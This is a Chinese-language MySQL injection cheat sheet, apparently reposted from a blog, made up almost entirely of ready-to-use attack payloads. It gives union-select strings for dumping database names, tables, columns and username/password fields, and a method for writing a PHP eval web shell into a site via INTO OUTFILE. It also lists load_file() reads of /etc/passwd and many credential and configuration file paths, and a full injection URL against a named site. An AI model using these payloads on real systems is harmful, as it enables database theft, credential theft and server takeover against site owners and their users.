標籤:方法 檔案查看 說明 res file tab 版本 windows系統 general
- and ord(mid(version(),1,1))>51
- 解釋1: 確認資料庫版本 51是ASCII碼3 正確則>4.0 錯誤則<4.0,當版本大於3.0時才能使用union方法;
- 解釋2:ord()是mysql的函數用於擷取二進位碼;
- 解釋3:mid()是mysql的函數用於截位操作;
- 解釋4:version()是mysql的函數用於擷取當前資料庫的版本;
- union select 1,1,1,****1,1
- 解釋:聯合功能,用於試探當前sql查詢結果返回的欄位數;
- order by 13
- 解釋:排序功能,根據查詢結果中的第幾個欄位數做排序,試探當前sql查詢返回的欄位數
- union select 1,2,3,4,****11,12,13 from admin
- union select 1,version(),3,*** 13 from admin
- union select 1,username,3,*** 13 from admin
- union select 1,username,3,*** 13 from admin where id=2
- and ord(mid(user(),1,1))=144
- and 1=1 union select 1,2,3,4,5…….n
- and 1=2 union select 1,2,3,4,5…..n
- version() database() user()
- 不用猜解可用欄位暴資料庫資訊(有些網站不適用):
- and 1=2 union all select version()
- and 1=2 union all select database()
- and 1=2 union all select user()
- and 1=2 union all select @@global.version_compile_os from mysql.user
- and ord(mid(user(),1,1))=114
- 解釋:擷取資料庫許可權,若返回正常說明為root許可權
- and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1
- 解釋:暴庫 (mysql>5.0)Mysql 5 以上有內建庫 information_schema,儲存著mysql的所有資料庫和表結構資訊
- and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=資料庫(十六進位) limit 0(開始的記錄,0為第一個開始記錄),1(顯示1條記錄)
- and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六進位)limit 0,1
- and 1=2 Union select 1,2,3,使用者名稱段,5,6,7,密碼段,8,9 from 表名 limit 0,1
- Union select 1,2,3concat(使用者名稱段,0x3c,密碼段),5,6,7,8,9 from 表名 limit 0,1
- 直接寫馬(Root許可權)
- 條件1:知道網站實體路徑
- 條件2:有足夠大的許可權(可以用select …. from mysql.user測試)
- 條件3:magic_quotes_gpc()=OFF select ‘<?php eval($_POST[cmd])?>‘ into outfile ‘實體路徑‘ and 1=2 union all select 一句話HEX值 into outfile ‘路徑‘
- load_file() 常用路徑:
- replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
- replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
- 解釋:上面兩個是查看一個PHP檔案裡完全顯示代碼.有些時候不替換一些字元,如 “<” 替換成”空格” 返回的是網頁.而無法查看到代碼.
- load_file(char(47))
- 解釋:可以列出FreeBSD,Sunos系統根目錄
- /etc tpd/conf tpd.conf或/usr/local/apche/conf tpd.conf
- 解釋:查看linux APACHE虛擬機器主機設定檔
- c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf
- c:/Resin-3.0.14/conf/resin.conf
- 解釋:查看jsp開發的網站 resin檔案配置資訊
- c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf
- d:\APACHE\Apache2\conf\httpd.conf
- C:\Program Files\mysql\my.ini
- ../themes/darkblue_orange/layout.inc.php phpmyadmin
- c:\windows\system32\inetsrv\MetaBase.xml
- /usr/local/resin-3.0.22/conf/resin.conf
- /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
- /usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE虛擬機器主機查看
- /etc/sysconfig/iptables
- usr/local/app/php5 b/php.ini
- /etc/my.cnf
- /etc/redhat-release
- C:\mysql\data\mysql\user.MYD
- /etc/sysconfig/network-scripts/ifcfg-eth0
- /usr/local/app/php5 b/php.ini
- /usr/local/app/apache2/conf/extra tpd-vhosts.conf
- C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
- c:\windows\my.ini
- c:\boot.ini
- 網站常用設定檔 config.inc.php、config.php。load_file()時要用replace(load_file(HEX),char(60),char(32))
- 註:Char(60)表示 <,Char(32)表示 空格
- 手工注射時出現的問題:
- 當注射後頁面顯示:Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation ‘UNION‘
- 如:http://www.www.myhack58.com/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,load_file(0x433A5C626F6F742E696E69),3,4,user()%20,這是由於前後編碼不一致造成的,解決方案:在參數前加上 unhex(hex(參數))就可以了。上面的URL就可以改為:http://www.www.myhack58.com/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,unhex(hex(load_file(0x433A5C626F6F742E696E69))),3,4,unhex(hex(user()))%20,既可以繼續注射了。
- 轉載自:47945745
MYSQL注入語句